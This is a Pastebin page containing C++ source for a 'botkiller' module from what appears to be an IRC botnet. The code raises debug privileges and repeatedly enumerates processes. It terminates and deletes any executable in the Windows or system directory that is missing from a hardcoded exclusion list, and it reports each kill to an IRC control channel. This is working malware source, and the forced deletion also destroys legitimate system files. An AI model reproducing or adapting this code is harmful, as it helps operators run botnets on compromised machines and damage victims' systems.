Guest User

Untitled

a guest
May 20th, 2018
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 11.47 KB | None | 0 0
  1. #include "include.h"
  2.  
  3. #ifndef NO_BOTKILLER
  4.  
  5. char *exclude_sysdir[] = { "accwiz.exe", "actmovie.exe", "ahui.exe", "alg.exe", "append.exe", "arp.exe",
  6. "asr_fmt.exe", "asr_ldm.exe", "asr_pfu.exe", "at.exe", "ati2evxx.exe", "Ati2mdxx.exe", "atmadm.exe", "attrib.exe",
  7. "auditusr.exe", "autochk.exe", "autoconv.exe", "autofmt.exe", "autolfn.exe", "blastcln.exe", "bootcfg.exe",
  8. "bootok.exe", "bootvrfy.exe", "cacls.exe", "calc.exe", "charmap.exe", "ChCfg.exe", "chkdsk.exe", "chkntfs.exe",
  9. "cidaemon.exe", "cipher.exe", "cisvc.exe", "ckcnv.exe", "cleanmgr.exe", "cliconfg.exe", "clipbrd.exe",
  10. "clipsrv.exe", "clspack.exe", "cmd.exe", "cmdl32.exe", "cmmon32.exe", "cmstp.exe", "comp.exe", "compact.exe",
  11. "conime.exe", "control.exe", "convert.exe", "cscript.exe", "csrss.exe", "ctfmon.exe", "dcomcnfg.exe", "ddeshare.exe",
  12. "debug.exe", "defrag.exe", "dfrgfat.exe", "dfrgntfs.exe", "diantz.exe", "diskpart.exe", "diskperf.exe",
  13. "dllhost.exe", "dllhst3g.exe", "dmadmin.exe", "dmremote.exe", "doskey.exe", "dosx.exe", "dplaysvr.exe", "dpnsvr.exe",
  14. "dpvsetup.exe", "driverquery.exe", "drwatson.exe", "drwtsn32.exe", "dumprep.exe", "dvdplay.exe",
  15. "dvdupgrd.exe", "dwwin.exe", "dxdiag.exe", "edlin.exe", "esentutl.exe", "eudcedit.exe", "eventcreate.exe",
  16. "eventtriggers.exe", "eventvwr.exe", "exe2bin.exe", "expand.exe", "extrac32.exe", "fastopen.exe", "fc.exe", "find.exe",
  17. "findstr.exe", "finger.exe", "fixmapi.exe", "fltMc.exe", "fontview.exe", "forcedos.exe", "freecell.exe", "fsquirt.exe",
  18. "fsutil.exe", "ftp.exe", "gb2312.uce", "gdi.exe", "getmac.exe", "gpresult.exe", "gpupdate.exe", "grpconv.exe",
  19. "help.exe", "hostname.exe", "ie4uinit.exe", "iexpress.exe", "imapi.exe", "ipconfig.exe",
  20. "ipsec6.exe", "ipv6.exe", "ipxroute.exe", "java.exe", "javaw.exe", "javaws.exe", "jdbgmgr.exe", "jview.exe",
  21. "krnl386.exe", "label.exe", "lights.exe", "lnkstub.exe", "locator.exe", "lodctr.exe", "logagent.exe", "logman.exe",
  22. "logoff.exe", "logonui.exe", "lpq.exe", "lpr.exe", "lsass.exe", "magnify.exe", "makecab.exe", "mem.exe", "migpwd.exe",
  23. "mmc.exe", "mnmsrvc.exe", "mobsync.exe", "mountvol.exe", "mplay32.exe", "mpnotify.exe", "mqbkup.exe", "mqsvc.exe",
  24. "mqtgsvc.exe", "mrinfo.exe", "MRT.exe", "mscdexnt.exe", "msdtc.exe", "msg.exe", "mshearts.exe",
  25. "mshta.exe", "msiexec.exe", "mspaint.exe", "msswchx.exe", "mstinit.exe", "mstsc.exe", "narrator.exe", "nbtstat.exe",
  26. "nddeapir.exe", "NeroCheck.exe", "net.exe", "net1.exe", "netdde.exe", "netsetup.exe", "netsh.exe", "netstat.exe",
  27. "nlsfunc.exe", "notepad.exe", "nslookup.exe", "ntbackup.exe", "ntkrnlpa.exe", "ntoskrnl.exe", "ntsd.exe",
  28. "ntvdm.exe", "nw16.exe", "nwscript.exe", "odbcad32.exe", "odbcconf.exe", "openfiles.exe", "osk.exe",
  29. "osuninst.exe", "packager.exe", "pathping.exe", "pentnt.exe", "perfmon.exe", "ping.exe", "ping6.exe", "powercfg.exe",
  30. "print.exe", "progman.exe", "proquota.exe", "proxycfg.exe", "qappsrv.exe", "qprocess.exe", "qwinsta.exe",
  31. "rasautou.exe", "rasdial.exe", "rasphone.exe", "rcimlby.exe", "rcp.exe", "rdpclip.exe", "rdsaddin.exe", "rdshost.exe",
  32. "recover.exe", "redir.exe", "reg.exe", "REGCLADM.EXE", "regedt32.exe", "regini.exe", "regsvr32.exe", "regwiz.exe",
  33. "relog.exe", "replace.exe", "reset.exe", "rexec.exe", "route.exe", "routemon.exe", "rsh.exe", "rsm.exe",
  34. "rsmsink.exe", "rsmui.exe", "rsnotify.exe", "rsopprov.exe", "rsvp.exe", "rtcshare.exe", "RTLCPL.EXE", "runas.exe",
  35. "rundll32.exe", "runonce.exe", "rwinsta.exe", "savedump.exe", "sc.exe", "scardsvr.exe", "schtasks.exe", "sdbinst.exe",
  36. "secedit.exe", "services.exe", "sessmgr.exe", "sethc.exe", "setup.exe", "setver.exe", "sfc.exe", "shadow.exe",
  37. "share.exe", "shmgrate.exe", "shrpubw.exe", "shutdown.exe", "sigverif.exe", "skeys.exe", "smbinst.exe",
  38. "smlogsvc.exe", "smss.exe", "sndrec32.exe", "sndvol32.exe", "sol.exe", "sort.exe", "spider.exe", "spiisupd.exe",
  39. "spnpinst.exe", "spoolsv.exe", "sprestrt.exe", "spupdsvc.exe", "stimon.exe", "subrange.uce", "subst.exe", "svchost.exe",
  40. "syncapp.exe", "sysedit.exe", "syskey.exe", "sysocmgr.exe", "systeminfo.exe", "systray.exe", "taskkill.exe",
  41. "tasklist.exe", "taskman.exe", "taskmgr.exe", "tcmsetup.exe", "tcpsvcs.exe", "telnet.exe", "tftp.exe", "tlntadmn.exe",
  42. "tlntsess.exe", "tlntsvr.exe", "tourstart.exe", "tracerpt.exe", "tracert.exe", "tracert6.exe", "tscon.exe",
  43. "tscupgrd.exe", "tsdiscon.exe", "tskill.exe", "tsshutdn.exe", "typeperf.exe", "unlodctr.exe", "upnpcont.exe",
  44. "ups.exe", "user.exe", "userinit.exe", "usrmlnka.exe", "usrprbda.exe", "usrshuta.exe", "utilman.exe", "verclsid.exe",
  45. "verifier.exe", "viral.exe", "vssadmin.exe", "vssvc.exe", "vwipxspx.exe", "w32tm.exe", "wextract.exe",
  46. "wiaacmgr.exe", "winchat.exe", "WINDBVER.EXE", "winhlp32.exe", "winlogon.exe", "winmine.exe",
  47. "winmsd.exe", "winspool.exe", "winver.exe", "wjview.exe", "wowdeb.exe", "wowexec.exe", "wpabaln.exe", "wpnpinst.exe",
  48. "write.exe", "wscntfy.exe", "wscript.exe", "wuauclt.exe", "wuauclt1.exe", "wupdmgr.exe", "xcopy.exe",
  49. "ACDSee.scr", "logon.scr", "scrnsave.scr", "SeismoSaver.scr", "ss3dfo.scr", "ssbezier.scr", "ssflwbox.scr",
  50. "ssmarque.scr", "ssmypics.scr", "ssmyst.scr", "sspipes.scr", "ssstars.scr", "sstext3d.scr", "System" };
  51.  
  52. char *exclude_windir[] = { "alcrmv.exe", "alcupd.exe", "explorer.exe", "hh.exe", "IsUninst.exe",
  53. "iun6002.exe", "NOTEPAD.EXE", "regedit.exe", "REGTLIB.EXE", "setdebug.exe", "Setup1.exe", "SOUNDMAN.EXE",
  54. "ST6UNST.EXE", "TASKMAN.EXE", "twunk_16.exe", "twunk_32.exe", "winhelp.exe", "winhlp32.exe", "System" };
  55.  
  56. BOOL AdjustPrivileges(char *pPriv, BOOL add) {
  57.     BOOL bRet = FALSE;
  58.     TOKEN_PRIVILEGES tkp;
  59.     HANDLE hToken;
  60.  
  61.     if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken))
  62.         return bRet;
  63.  
  64.     if (!LookupPrivilegeValue(NULL, pPriv, &tkp.Privileges[0].Luid)) {
  65.         CloseHandle(hToken);
  66.         return bRet;
  67.     }
  68.  
  69.     tkp.PrivilegeCount = 1;
  70.     if (add)
  71.         tkp.Privileges[0].Attributes |= SE_PRIVILEGE_ENABLED;
  72.     else
  73.         tkp.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED &
  74.             tkp.Privileges[0].Attributes);
  75.  
  76.     bRet=AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES) NULL, 0);
  77.  
  78.     CloseHandle(hToken);
  79.  
  80.     return bRet;
  81. }
  82.  
  83. BOOL FindFileBot(char *filename, char *dirname)
  84. {
  85.     char tmpPath[MAX_PATH];
  86.  
  87.     WIN32_FIND_DATA fd;
  88.     HANDLE fh;
  89.  
  90.     _snprintf(tmpPath, sizeof(tmpPath), "%s\\%s", dirname, filename);
  91.     if ((fh = FindFirstFile(tmpPath, &fd)) != INVALID_HANDLE_VALUE)
  92.         return TRUE;
  93.     FindClose(fh);
  94.  
  95.     return FALSE;
  96. }
  97.  
  98. //scanning thread
  99. DWORD WINAPI BotKillerThread(LPVOID param) {
  100.     char sysdir[MAX_PATH], windir[MAX_PATH], FileToDelete[MAX_PATH];
  101.     char Buffer[MAX_LINE_SIZE];
  102.  
  103.     HANDLE hProcess, hProcess2;
  104.     PROCESSENTRY32 pe32 = {0};
  105.     MODULEENTRY32 me32 = {0};
  106.  
  107.     BK bk = *((BK *)param);
  108.     BK *bkp = (BK *)param;
  109.     bkp->GotInfo = TRUE;
  110.  
  111.     Sleep(10000);
  112.    
  113.     //Get System Dir
  114.     GetSystemDirectory(sysdir, sizeof(sysdir));
  115.  
  116.     //Get Windows Dir
  117.     GetWindowsDirectory(windir, sizeof(windir));
  118.  
  119.     if (strstr(windir, "ystem32") != NULL) {
  120.  
  121.         char *Word;
  122.  
  123.         Word = strtok(windir, "\\");
  124.  
  125.         _snprintf(windir, sizeof(windir), "%s\\", Word);
  126.  
  127.         Word = strtok(NULL, "\\");
  128.  
  129.         _snprintf(windir, sizeof(windir), "%s\\%s", windir, Word);
  130.     }
  131.  
  132.     if (bk.ScanDelay == 0)
  133.         bk.ScanDelay = 60;
  134.  
  135.     if (!bk.Silent) IrcPrivmsg(bk.Sock, bk.BKChan, "Botkiller thread started.");
  136.  
  137.     while (1) {
  138. //      if (CreateToolhelp32Snapshot && Process32First && Process32Next) {
  139.             AdjustPrivileges(SE_DEBUG_NAME, TRUE);
  140.             if ((hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0)) != INVALID_HANDLE_VALUE) {
  141.                 pe32.dwSize = sizeof(PROCESSENTRY32);
  142.                 if (Process32First(hProcess, &pe32)) {
  143.                     while (Process32Next(hProcess, &pe32)) {
  144.                         Sleep(200);
  145.                         if (lstrcmpi(pe32.szExeFile, FileName) != 0) {
  146.                             //sysdir                       
  147.                             if (FindFileBot(pe32.szExeFile, sysdir)) { //process exe is located in sydir
  148.                                 int SysMatch = 0;
  149.                                 for (int c=0; c < (sizeof(exclude_sysdir) / sizeof(LPTSTR)); c++)      //check if process is
  150.                                     if (lstrcmpi(pe32.szExeFile, exclude_sysdir[c]) == 0) SysMatch++;  //on exclude list
  151.                                 if (SysMatch == 0) {  //if there are no matches, start thread to terminate and delete the bot
  152.                                     if (hProcess2=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID)) {
  153.                                         if (!TerminateProcess(hProcess2,0)) {
  154.                                             _snprintf(Buffer, sizeof(Buffer), "Error terminating: %s (pid: %d)!",
  155.                                                 pe32.szExeFile, pe32.th32ProcessID);
  156.                                             if (!bk.Silent) IrcPrivmsg(bk.Sock, bk.BKChan, Buffer);
  157.                                             memset(Buffer, 0, sizeof(Buffer));
  158.                                             CloseHandle(hProcess2);
  159.                                         } else {
  160.                                             CloseHandle(hProcess2);
  161.                                             sprintf(FileToDelete, "%s\\%s", sysdir, pe32.szExeFile);
  162.                                             BOOL success_delete = FALSE;
  163.                                             //set file attribute to non-readonly = normal, so we can delete it
  164.                                             SetFileAttributes(FileToDelete, FILE_ATTRIBUTE_NORMAL);
  165.                                             for (int i = 0; i < 100; i++) { //try to delete file
  166.                                                 Sleep(i);
  167.                                                 if (DeleteFile(FileToDelete)) {
  168.                                                     success_delete = TRUE;
  169.                                                     break;
  170.                                                 }
  171.                                             }
  172.                                             if (success_delete)
  173.                                                 _snprintf(Buffer, sizeof(Buffer), "Bot killed and removed: %s (pid: %d)!",
  174.                                                     FileToDelete, pe32.th32ProcessID);
  175.                                             else
  176.                                                 _snprintf(Buffer, sizeof(Buffer), "Can not delete: %s (pid: %d)!",
  177.                                                     FileToDelete, pe32.th32ProcessID);
  178.                                            
  179.                                             if (!bk.Silent) IrcPrivmsg(bk.Sock, bk.BKChan, Buffer);
  180.                                             memset(Buffer, 0, sizeof(Buffer));
  181.                                         }
  182.                                     }
  183.                                 }
  184.                             }
  185.                             //windir                       
  186.                             if (FindFileBot(pe32.szExeFile, windir)) { //process exe is located in windir
  187.                                 int WinMatch = 0;
  188.                                 for (int c=0; c < (sizeof(exclude_windir) / sizeof(LPTSTR)); c++)      //check if process is
  189.                                     if (lstrcmpi(pe32.szExeFile, exclude_windir[c]) == 0) WinMatch++;  //on exclude list
  190.                                 if (WinMatch == 0) {  //if there are no matches, start thread to terminate and delete the bot
  191.                                     if (hProcess2=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID)) {
  192.                                         if (!TerminateProcess(hProcess2,0)) {
  193.                                             _snprintf(Buffer, sizeof(Buffer), "Error terminating: %s (pid: %d)!",
  194.                                                 pe32.szExeFile, pe32.th32ProcessID);
  195.                                             if (!bk.Silent) IrcPrivmsg(bk.Sock, bk.BKChan, Buffer);
  196.                                             memset(Buffer, 0, sizeof(Buffer));
  197.                                             CloseHandle(hProcess2);
  198.                                         } else {
  199.                                             CloseHandle(hProcess2);
  200.                                             sprintf(FileToDelete, "%s\\%s", windir, pe32.szExeFile);
  201.                                             BOOL success_delete = FALSE;
  202.                                             //set file attribute to non-readonly = normal, so we can delete it
  203.                                             SetFileAttributes(FileToDelete, FILE_ATTRIBUTE_NORMAL);
  204.                                             for (int i = 0; i < 100; i++) { //try to delete file
  205.                                                 Sleep(i);
  206.                                                 if (DeleteFile(FileToDelete)) {
  207.                                                     success_delete = TRUE;
  208.                                                     break;
  209.                                                 }
  210.                                             }
  211.                                             if (success_delete)
  212.                                                 _snprintf(Buffer, sizeof(Buffer), "Bot killed and removed: %s (pid: %d)!",
  213.                                                     FileToDelete, pe32.th32ProcessID);
  214.                                             else
  215.                                                 _snprintf(Buffer, sizeof(Buffer), "Can not delete: %s (pid: %d)!",
  216.                                                     FileToDelete, pe32.th32ProcessID);
  217.                                            
  218.                                             if (!bk.Silent) IrcPrivmsg(bk.Sock, bk.BKChan, Buffer);
  219.                                             memset(Buffer, 0, sizeof(Buffer));
  220.                                         }
  221.                                     }
  222.                                 }
  223.                             }
  224.                         }              
  225.                     }
  226.                 }
  227.                 CloseHandle(hProcess);
  228.             }
  229.             AdjustPrivileges(SE_DEBUG_NAME, FALSE);
  230. //      }
  231.         Sleep(bk.ScanDelay*60000);
  232.     }
  233.  
  234.     ClearThread(bk.ThreadNum);
  235.     ExitThread(0);
  236. }
  237.  
  238. #endif
Add Comment
Please, Sign In to add comment